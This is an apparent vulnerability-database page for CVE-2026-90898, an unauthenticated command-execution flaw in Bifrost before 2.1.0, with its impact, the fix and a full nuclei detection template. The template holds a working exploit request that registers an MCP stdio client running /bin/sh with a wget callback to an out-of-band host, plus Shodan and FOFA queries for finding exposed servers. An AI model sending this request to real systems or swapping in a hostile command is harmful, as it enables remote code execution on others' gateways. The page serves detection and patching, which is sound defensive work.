Browse / CVEs / CVE-2026-90898
CVE-2026-90898· maximhq / bifrost· CWE-78
Bifrost < 2.1.0 - Unauthenticated MCP Stdio Command Execution
When dashboard authentication is disabled, Bifrost accepts an unauthenticated stdio MCP client registration and starts its configured command before the MCP handshake completes. This template runs a benign outbound HTTP request from the target and requires an out-of-band callback to confirm command execution.
Impact
An unauthenticated network caller can execute a command with the privileges of the Bifrost gateway process.
Fix
Upgrade Bifrost to transports v2.1.0 or later and enable dashboard authentication.
How to confirm it
Send: @timeout: 45s
Positive when: status_code == 500 && contains(body, "context deadline exceeded") && contains(interactsh_protocol, "http")Run it with nuclei: nuclei -id CVE-2026-90898 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2026-90898
info:
name: Bifrost < 2.1.0 - Unauthenticated MCP Stdio Command Execution
author: alex700
severity: critical
description: |
When dashboard authentication is disabled, Bifrost accepts an unauthenticated stdio MCP client registration and starts its configured command before the MCP handshake completes. This template runs a benign outbound HTTP request from the target and requires an out-of-band callback to confirm command execution.
impact: |
An unauthenticated network caller can execute a command with the privileges of the Bifrost gateway process.
remediation: |
Upgrade Bifrost to transports v2.1.0 or later and enable dashboard authentication.
reference:
- https://github.com/maximhq/bifrost/pull/6757
classification:
cve-id: CVE-2026-90898
epss-score: 0.02311
epss-percentile: 0.83531
cwe-id: CWE-78
metadata:
max-request: 1
vendor: maximhq
product: bifrost
shodan-query: http.html:"bifrost-shell"
fofa-query: body="bifrost-shell"
tags: cve,cve2026,bifrost,rce,oast,intrusive,vkev
variables:
client_name: "mcpchk_{{rand_text_alpha(10)}}"
http:
- raw:
- |
@timeout: 45s
POST /api/mcp/client HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{client_name}}","connection_type":"stdio","stdio_config":{"command":"/bin/sh","args":["-c","wget -q -O /dev/null http://{{interactsh-url}}/bifrost-90898"]},"tools_to_execute":["*"]}
matchers:
- type: dsl
dsl:
- 'status_code == 500 && contains(body, "context deadline exceeded") && contains(interactsh_protocol, "http")'References
Use this check only on systems you are authorised to test. Where the data comes from